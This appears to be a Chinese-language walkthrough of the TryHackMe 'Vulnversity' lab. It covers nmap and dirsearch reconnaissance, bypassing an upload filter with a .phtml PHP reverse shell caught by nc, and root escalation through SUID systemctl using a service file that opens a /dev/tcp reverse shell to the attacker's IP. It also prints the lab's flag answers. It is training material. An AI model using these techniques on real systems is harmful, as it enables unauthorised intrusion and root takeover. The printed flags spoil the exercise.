Tryhackme 靶機入侵實作 – Vulnversity

靶機名稱 : Vulnversity

Task 1. Deploy the machine 部屬靶機

Q1.Deploy the machine

把靶機開起來

Task.2 Reconnaissance 目標偵查

這部分主要是教如何使用nmap這套工具

Q1.There are many nmap “cheatsheets” online that you can use too.

他只是在提醒你網頁上可以看到nmap的提示

Q2.Scan the box, how many ports are open?

A:6

用nmap帶-sT掃 可以直接看到有6個端口

Q3.What version of the squid proxy is running on the machine?

A:3.5.12

這題直接帶-A參數去掃 直接找到結果

Q4.How many ports will nmap scan if the flag -p-400 was used?

A:400

在nmap裡面 -p-400的意思是掃描前400個端口 所以這題是400

Q5.Using the nmap flag -n what will it not resolve?

A:DNS

旁邊有提示說IP to hostname 那這個服務的名字當然就是DNS了

Q6.What is the most likely operating system this machine is running?

A:Ubuntu

這題照理來說要帶-O參數去掃出來 但我用-O參數掃出來的結果是亂碼 照理來說會顯示出OS跟版本 但好像是靶機有問題 所以直接回答

Q7.What port is the web server running on?

A:3333

nmap剛剛帶-A有找到是3333端口有開HTTP 直接填上

Task.3 Locating directories using GoBuster

Q1.什麼都沒有

雖然說這題要我用Gobuster做 但我認為dirsearch比較好做 所以我就直接用dirsearch了

Q2.What is the directory that has an upload form page?

A:/internal/

sudo python3 dirsearch.py -u 10.10.108.0:3333

Task.4 Compromise the webserver

Q1.Try upload a few file types to the server, what common extension seems to be blocked?

A:.php

我想上傳WebShell上去 但被擋下來 可以看出擋.php

Q2.開啟BurpSuite

把Burp開起來

Q3.Run this attack, what extension is allowed?

A:.phtml

把副檔名改成.phtml後可以看到能成功上傳

Q4.把WebShell反彈回來用nc接住

可以看到我們之前設置的WebShell設定的IP跟Port是長這樣的

所以我們需要先設定nc

設定完成後 我們只需要用nc設定監聽Port再去網頁上輸入下面這串URL

http://10.10.108.0:3333/internal/uploads/php-reverse-shell.phtml

就能把WebShell反彈回來本機了

因為需要更進階的控制 所以需要利用python的pty來創建一個bash環境

python -c "import pty;pty.spawn('bin/bash')"

可以看到 現在我們可以用bash環境來控制目標了

Q5.What is the name of the user who manages the webserver?

A:bill

利用WebShell去/home目錄來查看這台電腦的使用者名字

Q6.What is the user flag?

A:8bd7992fbe8a6ad22a63361004cfcedb

/home/bill後就能看到.txt就擺在裡面

Task.5 Privilege Escalation

我們現在已經有了初始的訪問權限 但要做到更多事的話需要提升更高的存取權限 所以我們現在的主要目標是提權

Q1.On the system, search for all SUID files. What file stands out?

A:/bin/systemctl

雖然題目旁邊有一條提示是有用的 但會跑出非常多的東西 所以建議使用下面這條

find / -user root -perm -4000 -print 2>/dev/null

Q2.Become root and get the last flag (/root/root.txt)

A:a58ff8579f0a9270368d33a9966c7fd5

要做到這一步 首先我們需要提權至root 但這可能有點困難

上面提到的systemctl主要的功能是管理Linux的服務

那我們有沒有可能做一個惡意服務 指定為root權限並反彈回來呢?

system的語法格式主要是這樣的

systemctl <status> <filename>

Filename通常是.service結尾

所以我們需要製作一個惡意服務檔 上傳後用systemctl執行他

創建一個.txt檔 把下列的文字輸入進去並儲存為root.service

[Unit]
Description=rooot

[Service]
Type=simple
User=root
ExecStart=/bin/bash -c 'bash -i >& /dev/tcp/10.17.5.224/9999 0>&1'

[Install]
WantedBy=multi-user.target

接著我們需要在本機的Terminal上創建一個WebServer來讓目標能方便獲得本機的資料

sudo python -m SimpleHTTPServer 80

執行完成後到目標終端wget本地檔案

wget http://10.17.5.224/root.service

可以看到惡意服務已經成功下載至目標主機上 接著只需要使用systemctl就能把這個服務反射回本地主機了

但在那之前 我們需要先把nc的監聽打開才能成功接到反彈回來的服務

nc -lvnp 9999

接著到目標終端輸入自動開啟服務的命令

systemctl enable /tmp/root.service

最後再輸入開啟服務的命令 讓惡意服務能反彈回來

systemctl start root

可以看到接取惡意服務成功 已經成功獲得root權限

接著再做每次得到Shell時的慣例指令 為了拿到bash環境

python -c "import pty;pty.spawn('bin/bash')"

接著只需要到/root去尋找root.txt就能結束這個整個項目了

心得:

簡單來說 這靶機打完後能學到很多東西 比如說WebShell的基本應用和SUID配置錯誤的提權方式

還有最基本的域名掃描跟nmap 是一台面向初學者的簡單靶機

免責聲明

未經事先雙方同意,使用工具攻擊目標是非法的.請遵守當地法律規範.開發者與本作者對此文章不承擔任何責任,也不對任何濫用或損壞負責.

This is only for testing purposes and can only be used where strict consent has been given. Do not use this for illegal purposes, period.

Back To Top
error: 內容被保護 !!